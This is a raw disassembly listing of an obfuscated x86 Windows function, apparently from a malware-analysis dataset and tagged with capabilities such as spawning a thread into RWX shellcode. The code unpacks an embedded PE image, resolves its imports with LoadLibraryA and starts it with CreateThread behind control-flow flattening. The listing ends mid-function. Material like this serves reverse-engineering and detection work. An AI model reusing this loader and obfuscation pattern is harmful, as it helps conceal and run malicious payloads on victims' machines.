Function at 0x40f2c0
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov eax, 0x46178
call fcn.0041e5e0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x46178], eax
mov eax, dword [0x47a080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x46170], 0xa1b620b1
mov eax, dword [ebp - 0x46170]
mov dword [ebp - 0x4617c], eax
sub eax, 0x823a3dca
je 0x410e4c
jmp 0x40f308
mov eax, dword [ebp - 0x4617c]
sub eax, 0x85a0e71b
je 0x413d63
jmp 0x40f31e
mov eax, dword [ebp - 0x4617c]
sub eax, 0x874a82b9
je 0x4120dc
jmp 0x40f334
mov eax, dword [ebp - 0x4617c]
sub eax, 0x87630d81
je 0x410a81
jmp 0x40f34a
mov eax, dword [ebp - 0x4617c]
sub eax, 0x88242fd3
je 0x413e7b
jmp 0x40f360
mov eax, dword [ebp - 0x4617c]
sub eax, 0x884327b1
je 0x4116e0
jmp 0x40f376
mov eax, dword [ebp - 0x4617c]
sub eax, 0x88a5b182
je 0x410c76
jmp 0x40f38c
mov eax, dword [ebp - 0x4617c]
sub eax, 0x89bb52d2
je 0x4137a9
jmp 0x40f3a2
mov eax, dword [ebp - 0x4617c]
sub eax, 0x8a596e31
je 0x41266a
jmp 0x40f3b8
mov eax, dword [ebp - 0x4617c]
sub eax, 0x8bea52d3
je 0x413c71
jmp 0x40f3ce
mov eax, dword [ebp - 0x4617c]
sub eax, 0x8d3f290a
je 0x411867
jmp 0x40f3e4
mov eax, dword [ebp - 0x4617c]
sub eax, 0x8d71cbbb
je 0x413b79
jmp 0x40f3fa
mov eax, dword [ebp - 0x4617c]
sub eax, 0x8d761e26
je 0x412018
jmp 0x40f410
mov eax, dword [ebp - 0x4617c]
sub eax, 0x8eb86f40
je 0x412a0f
jmp 0x40f426
mov eax, dword [ebp - 0x4617c]
sub eax, 0x90240fbe
je 0x412c6c
jmp 0x40f43c
mov eax, dword [ebp - 0x4617c]
sub eax, 0x92d14f79
je 0x413472
jmp 0x40f452
mov eax, dword [ebp - 0x4617c]
sub eax, 0x946759cb
je 0x412c7b
jmp 0x40f468
mov eax, dword [ebp - 0x4617c]
sub eax, 0x94ea1b30
je 0x413815
jmp 0x40f47e
mov eax, dword [ebp - 0x4617c]
sub eax, 0x956f98b4
je 0x411c19
jmp 0x40f494
mov eax, dword [ebp - 0x4617c]
sub eax, 0x95bf7d77
je 0x4129e3
jmp 0x40f4aa
mov eax, dword [ebp - 0x4617c]
sub eax, 0x9633a2e0
je 0x41210c
jmp 0x40f4c0
mov eax, dword [ebp - 0x4617c]
sub eax, 0x96ac691e
je 0x4124bb
jmp 0x40f4d6
mov eax, dword [ebp - 0x4617c]
sub eax, 0x97a29f93
je 0x411ed6
jmp 0x40f4ec
mov eax, dword [ebp - 0x4617c]
sub eax, 0x987e7930
je 0x412a90
jmp 0x40f502
mov eax, dword [ebp - 0x4617c]
sub eax, 0x999d0e1e
je 0x410aeb
jmp 0x40f518
mov eax, dword [ebp - 0x4617c]
sub eax, 0x99c0c101
je 0x411461
jmp 0x40f52e
mov eax, dword [ebp - 0x4617c]
sub eax, 0x9a53207f
je 0x412ecb
jmp 0x40f544
mov eax, dword [ebp - 0x4617c]
sub eax, 0x9b940b1f
je 0x410704
jmp 0x40f55a
mov eax, dword [ebp - 0x4617c]
sub eax, 0x9dcf40e3
je 0x411f8e
jmp 0x40f570
mov eax, dword [ebp - 0x4617c]
sub eax, 0x9de39568
je 0x4119c9
jmp 0x40f586
mov eax, dword [ebp - 0x4617c]
sub eax, 0x9e09f9a0
je 0x4135e2
jmp 0x40f59c
mov eax, dword [ebp - 0x4617c]
sub eax, 0x9f01ef58
je 0x4134e8
jmp 0x40f5b2
mov eax, dword [ebp - 0x4617c]
sub eax, 0xa147141c
je 0x4117e7
jmp 0x40f5c8
mov eax, dword [ebp - 0x4617c]
sub eax, 0xa1b620b1
je 0x4105df
jmp 0x40f5de
mov eax, dword [ebp - 0x4617c]
sub eax, 0xa432d3de
je 0x4116d1
jmp 0x40f5f4
mov eax, dword [ebp - 0x4617c]
sub eax, 0xa4fad9d1
je 0x411fc7
jmp 0x40f60a
mov eax, dword [ebp - 0x4617c]
sub eax, 0xa6d368e9
je 0x412fe8
jmp 0x40f620
mov eax, dword [ebp - 0x4617c]
sub eax, 0xa802fa50
je 0x412361
jmp 0x40f636
mov eax, dword [ebp - 0x4617c]
sub eax, 0xa8e56197
je 0x4118d0
jmp 0x40f64c
mov eax, dword [ebp - 0x4617c]
sub eax, 0xa9c4b323
je 0x4120fd
jmp 0x40f662
mov eax, dword [ebp - 0x4617c]
sub eax, 0xab2f9262
je 0x41122d
jmp 0x40f678
mov eax, dword [ebp - 0x4617c]
sub eax, 0xab773ecd
je 0x412a6f
jmp 0x40f68e
mov eax, dword [ebp - 0x4617c]
sub eax, 0xab95f517
je 0x413440
jmp 0x40f6a4
mov eax, dword [ebp - 0x4617c]
sub eax, 0xac0c81c8
je 0x413c80
jmp 0x40f6ba
mov eax, dword [ebp - 0x4617c]
sub eax, 0xac7a7c92
je 0x413555
jmp 0x40f6d0
mov eax, dword [ebp - 0x4617c]
sub eax, 0xad566a24
je 0x413564
jmp 0x40f6e6
mov eax, dword [ebp - 0x4617c]
sub eax, 0xae19adb9
je 0x4124ea
jmp 0x40f6fc
mov eax, dword [ebp - 0x4617c]
sub eax, 0xae6e7cb1
je 0x412aab
jmp 0x40f712
mov eax, dword [ebp - 0x4617c]
sub eax, 0xb1facdae
je 0x41159c
jmp 0x40f728
mov eax, dword [ebp - 0x4617c]
sub eax, 0xb2f93ffd
je 0x411b57
jmp 0x40f73e
mov eax, dword [ebp - 0x4617c]
sub eax, 0xb47a206c
je 0x4108f2
jmp 0x40f754
mov eax, dword [ebp - 0x4617c]
sub eax, 0xb572065a
je 0x412b21
jmp 0x40f76a
mov eax, dword [ebp - 0x4617c]
sub eax, 0xb88b2018
je 0x413749
jmp 0x40f780
mov eax, dword [ebp - 0x4617c]
sub eax, 0xb8ef7a2f
je 0x41268b
jmp 0x40f796
mov eax, dword [ebp - 0x4617c]
sub eax, 0xb9aa1934
je 0x413ecb
jmp 0x40f7ac
mov eax, dword [ebp - 0x4617c]
sub eax, 0xb9b75264
je 0x4111ff
jmp 0x40f7c2
mov eax, dword [ebp - 0x4617c]
sub eax, 0xb9e24e10
je 0x4118c1
jmp 0x40f7d8
mov eax, dword [ebp - 0x4617c]
sub eax, 0xba52303a
je 0x412f5c
jmp 0x40f7ee
mov eax, dword [ebp - 0x4617c]
sub eax, 0xbd69cc49
je 0x412473
jmp 0x40f804
mov eax, dword [ebp - 0x4617c]
sub eax, 0xbda13eb5
je 0x411f42
jmp 0x40f81a
mov eax, dword [ebp - 0x4617c]
sub eax, 0xbe2eeb40
je 0x411f6d
jmp 0x40f830
mov eax, dword [ebp - 0x4617c]
sub eax, 0xbe5e77a2
je 0x410a9a
jmp 0x40f846
mov eax, dword [ebp - 0x4617c]
sub eax, 0xbfa1f5a6
je 0x410f78
jmp 0x40f85c
mov eax, dword [ebp - 0x4617c]
sub eax, 0xc04c70a0
je 0x413a6e
jmp 0x40f872
mov eax, dword [ebp - 0x4617c]
sub eax, 0xc28e3ae4
je 0x411d04
push eax
mov eax, esp
mov dword [ebp - 0x46164], eax
push eax
mov eax, esp
mov dword [ebp - 0x46160], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x4615c], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x46158], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x46154], eax
push eax
mov eax, esp
mov dword [ebp - 0x46150], eax
push eax
mov eax, esp
mov dword [ebp - 0x4614c], eax
push eax
mov eax, esp
mov dword [ebp - 0x46148], eax
push eax
mov eax, esp
mov dword [ebp - 0x46144], eax
push eax
mov eax, esp
mov dword [ebp - 0x46140], eax
push eax
mov eax, esp
mov dword [ebp - 0x4613c], eax
push eax
mov eax, esp
mov dword [ebp - 0x46138], eax
push eax
mov eax, esp
mov dword [ebp - 0x46134], eax
push eax
mov eax, esp
mov dword [ebp - 0x46130], eax
push eax
mov eax, esp
mov dword [ebp - 0x4612c], eax
push eax
mov eax, esp
mov dword [ebp - 0x46128], eax
push eax
mov eax, esp
mov dword [ebp - 0x46124], eax
push eax
mov eax, esp
mov dword [ebp - 0x46120], eax
mov dword [ebp - 0x46170], 0x2367e4c3
jmp 0x413ee4
mov eax, dword [ebp - 0x46178]
push eax
mov ecx, esp
mov dword [ebp - 0x4611c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x46118], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x46114], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x46110], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x4610c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x46108], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x46104], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x46100], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x460fc], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x460f8], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x460f4], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x460f0], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x460ec], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x460e8], ecx
sub esp, 0x78
mov ecx, esp
mov dword [ebp - 0x460e4], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x460e0], ecx
sub esp, 8
mov ecx, esp
mov dword [ebp - 0x460dc], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x460d8], ecx
mov dword [ebp - 0x4616c], eax
lea ecx, [ebp - 0x4600c]
lea eax, [0x42dd3c]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x46000
call fcn.0041f440
add esp, 0xc
lea eax, [ebp - 0x4600c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46000
call fcn.0040dd80
add esp, 8
lea eax, [ebp - 0x4600c]
mov dword [ebp - 0x4616c], eax
mov ecx, dword [ebp - 0x4616c]
mov eax, dword [ebp - 0x46164]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x4616c]
mov eax, dword [ebp - 0x46164]
mov eax, dword [eax]
mov edx, dword [eax + 0x3c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x46160]
mov dword [eax], ecx
mov eax, dword [ebp - 0x46160]
mov eax, dword [eax]
cmp dword [eax], 0x4550
setne al
and al, 1
mov byte [ebp - 0x460d1], al
mov ecx, dword [0x47b554]
mov eax, dword [0x47b550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x695e9b05
mov ecx, 0xcbbc6bd6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov dword [ebp - 0x46170], 0x3622c30e
jmp 0x413ee4
mov dword [ebp - 0x46170], 0x2af9deef
mov dword [ebp - 0x46174], 0
jmp 0x413ee4
mov eax, dword [0x47b554]
mov ecx, dword [0x47b550]
mov edx, eax
sub edx, 0x4fcb1ae2
sub edx, 1
add edx, 0x4fcb1ae2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe6e1887
mov ecx, 0x999d0e1e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov eax, dword [ebp - 0x46160]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x460cc], eax
mov ecx, dword [0x47b554]
mov eax, dword [0x47b550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe6e1887
mov ecx, 0x2b665260
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov dword [ebp - 0x46170], 0x2af9deef
mov eax, dword [ebp - 0x460c8]
mov dword [ebp - 0x46174], eax
jmp 0x413ee4
mov ecx, dword [0x47b554]
mov eax, dword [0x47b550]
mov edx, ecx
add edx, 0x76c7932e
sub edx, 1
sub edx, 0x76c7932e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf3ad036c
mov ecx, 0x298dbdc7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov dword [ebp - 0x46170], 0x7a000713
jmp 0x413ee4
mov eax, dword [ebp - 0x46144]
mov ecx, dword [eax]
sub ecx, 0xf595e93a
add ecx, 1
add ecx, 0xf595e93a
mov eax, dword [ebp - 0x46144]
mov dword [eax], ecx
mov dword [ebp - 0x46170], 0xab2f9262
jmp 0x413ee4
mov ecx, dword [0x47b554]
mov eax, dword [0x47b550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc776249f
mov ecx, 0x45d48250
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov ecx, dword [0x47b554]
mov eax, dword [0x47b550]
mov edx, ecx
add edx, 0x81dbc2a3
sub edx, 1
sub edx, 0x81dbc2a3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf83f5306
mov ecx, 0xd75cd57d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov eax, dword [ebp - 0x46138]
mov eax, dword [eax]
mov dword [ebp - 0x46094], eax
mov dword [ebp - 0x46170], 0xcacb4e44
jmp 0x413ee4
mov dword [ebp - 0x46170], 0x884327b1
jmp 0x413ee4
mov eax, dword [ebp - 0x4613c]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
add ecx, 0x8b668d99
sub ecx, 8
sub ecx, 0x8b668d99
shr ecx, 1
mov eax, dword [ebp - 0x46130]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4613c]
mov ecx, dword [eax]
sub ecx, 0x22dc88e6
add ecx, 8
add ecx, 0x22dc88e6
mov eax, dword [ebp - 0x4612c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x46128]
mov dword [eax], 0
mov dword [ebp - 0x46170], 0x73621325
jmp 0x413ee4
mov dword [ebp - 0x46170], 0xdb56c87b
jmp 0x413ee4
mov eax, dword [ebp - 0x4612c]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0x4608c], eax
mov eax, dword [0x47b554]
mov ecx, dword [0x47b550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe9ebd40a
mov ecx, 0xb9e24e10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov dword [ebp - 0x46170], 0xa8e56197
jmp 0x413ee4
mov eax, dword [0x47b554]
mov ecx, dword [0x47b550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8d71cbbb
mov ecx, 0x109be35f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov dl, byte [ebp - 0x46085]
mov eax, 0xc70ebdd7
mov ecx, 0xc96b7dd1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov eax, dword [0x47b554]
mov ecx, dword [0x47b550]
mov edx, eax
sub edx, 0xef851c79
sub edx, 1
add edx, 0xef851c79
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x76c78cc4
mov ecx, 0xc5dcd64e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov eax, dword [ebp - 0x46128]
mov ecx, dword [eax]
sub ecx, 0x648ccb74
add ecx, 1
add ecx, 0x648ccb74
mov eax, dword [ebp - 0x46128]
mov dword [eax], ecx
mov dword [ebp - 0x46170], 0x1dbf7fd1
jmp 0x413ee4
mov eax, dword [ebp - 0x46120]
mov dword [eax], 0
mov eax, dword [0x47b554]
mov ecx, dword [0x47b550]
mov edx, eax
add edx, 0x9796e96e
sub edx, 1
sub edx, 0x9796e96e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xac0c81c8
mov ecx, 0xcc006ed6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov eax, dword [ebp - 0x46124]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x46120]
imul ecx, dword [ecx], 0x14
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x46074], eax
mov dword [ebp - 0x46170], 0xbe2eeb40
jmp 0x413ee4
mov edx, dword [ebp - 0x46074]
mov eax, 0x40afa1c4
mov ecx, 0x9dcf40e3
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov eax, dword [ebp - 0x46150]
mov eax, dword [eax]
mov dword [ebp - 0x46070], eax
mov eax, dword [ebp - 0x46124]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x46120]
imul ecx, dword [ecx], 0x14
add eax, ecx
add eax, 0xc
mov dword [ebp - 0x4606c], eax
mov dword [ebp - 0x46170], 0xa4fad9d1
jmp 0x413ee4
mov eax, dword [0x47b554]
mov ecx, dword [0x47b550]
mov edx, eax
add edx, 0x56b93f0e
sub edx, 1
sub edx, 0x56b93f0e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6d494e8f
mov ecx, 0x8d761e26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov eax, dword [ebp - 0x4606c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x46070]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x4611c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4611c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov eax, dword [ebp - 0x46118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x46118]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x46065], al
mov ecx, dword [0x47b554]
mov eax, dword [0x47b550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6d494e8f
mov ecx, 0x874a82b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov dl, byte [ebp - 0x46065]
mov eax, 0xa9c4b323
mov ecx, 0x9633a2e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov dword [ebp - 0x46170], 0x6efe2eda
jmp 0x413ee4
mov eax, dword [ebp - 0x46150]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x46124]
mov eax, dword [eax]
mov edx, dword [ebp - 0x46120]
imul edx, dword [edx], 0x14
add eax, edx
mov edx, dword [eax + 0x10]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x46114]
mov dword [eax], ecx
mov dword [ebp - 0x46170], 0x26b105be
jmp 0x413ee4
mov dword [ebp - 0x46170], 0x6efe2eda
jmp 0x413ee4
mov dword [ebp - 0x46170], 0x27894dfe
jmp 0x413ee4
mov eax, dword [ebp - 0x46100]
mov eax, dword [eax]
mov dword [ebp - 0x46050], eax
mov eax, dword [ebp - 0x46160]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0x4604c], eax
mov dword [ebp - 0x46170], 0xae19adb9
jmp 0x413ee4
mov edx, dword [ebp - 0x46050]
mov esi, dword [ebp - 0x4604c]
mov eax, 0xcdf94a89
mov ecx, 0x1c00e705
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov dl, byte [ebp - 0x46043]
mov eax, 0x5d2203c3
mov ecx, 0xb8ef7a2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov eax, dword [ebp - 0x460f8]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x80000000
mov ecx, 0xffffffff
xor ecx, 0xb7f045a6
or eax, edx
or ecx, 0xb7f045a6
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x46042], al
mov dword [ebp - 0x46170], 0x3d212942
jmp 0x413ee4
mov dword [ebp - 0x46170], 0x10561898
jmp 0x413ee4
mov eax, dword [ebp - 0x46040]
mov ecx, 0xffffffff
xor ecx, 0x40000000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x21444215
mov ecx, 0x3dab5ac3
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov edx, dword [ebp - 0x4603c]
mov eax, 0x21444215
mov ecx, 0x987e7930
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov eax, dword [ebp - 0x460fc]
mov dword [eax], 4
mov dword [ebp - 0x46170], 0xae6e7cb1
jmp 0x413ee4
mov ecx, dword [0x47b554]
mov eax, dword [0x47b550]
mov edx, ecx
sub edx, 0x75d174db
sub edx, 1
add edx, 0x75d174db
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x145d03bb
mov ecx, 0xb572065a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov eax, dword [0x47b554]
mov ecx, dword [0x47b550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x145d03bb
mov ecx, 0xccbb1d8f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov dword [ebp - 0x46170], 0x946759cb
jmp 0x413ee4
mov edx, dword [ebp - 0x46038]
mov eax, 0x6702e000
mov ecx, 0x2d9abbaf
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov eax, dword [ebp - 0x460fc]
mov dword [eax], 2
mov ecx, dword [0x47b554]
mov eax, dword [0x47b550]
mov edx, ecx
sub edx, 0x74986f40
sub edx, 1
add edx, 0x74986f40
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x35007f76
mov ecx, 0x1e21a380
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov dword [ebp - 0x46170], 0x3507056
jmp 0x413ee4
mov ecx, dword [0x47b554]
mov eax, dword [0x47b550]
mov edx, ecx
sub edx, 0xeff9e780
sub edx, 1
add edx, 0xeff9e780
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd1005200
mov ecx, 0x68ca0d17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov eax, dword [ebp - 0x460e4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x460e8]
mov eax, dword [eax]
mov word [eax], cx
mov dword [ebp - 0x46170], 0x92d14f79
jmp 0x413ee4
mov ecx, dword [0x47b554]
mov eax, dword [0x47b550]
mov edx, ecx
sub edx, 0xc2ad9147
sub edx, 1
add edx, 0xc2ad9147
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x88242fd3
mov ecx, 0x9f01ef58
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov eax, dword [ebp - 0x46150]
mov eax, dword [eax]
mov dword [ebp - 0x4601c], eax
mov eax, dword [ebp - 0x46160]
mov eax, dword [eax]
mov dword [ebp - 0x46018], eax
mov eax, dword [0x47b554]
mov ecx, dword [0x47b550]
mov edx, eax
sub edx, 0x5c5a44fe
sub edx, 1
add edx, 0x5c5a44fe
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x88242fd3
mov ecx, 0xac7a7c92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov dword [ebp - 0x46170], 0xad566a24
jmp 0x413ee4
mov eax, dword [ebp - 0x46018]
mov ecx, dword [eax + 0x28]
mov eax, dword [ebp - 0x4601c]
add eax, 0x6e481bb9
add eax, ecx
sub eax, 0x6e481bb9
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, eax
mov eax, dword [ebp - 0x460d8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x460e0]
mov dl, byte [eax]
mov eax, 0x363f878a
mov ecx, 0x9e09f9a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
sub esp, 4
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x46170], 0x7dd4c5ce
jmp 0x413ee4
mov dword [ebp - 0x46170], 0x3622c30e
jmp 0x413ee4
mov eax, dword [ebp - 0x46168]
mov dword [ebp - 0x46014], eax
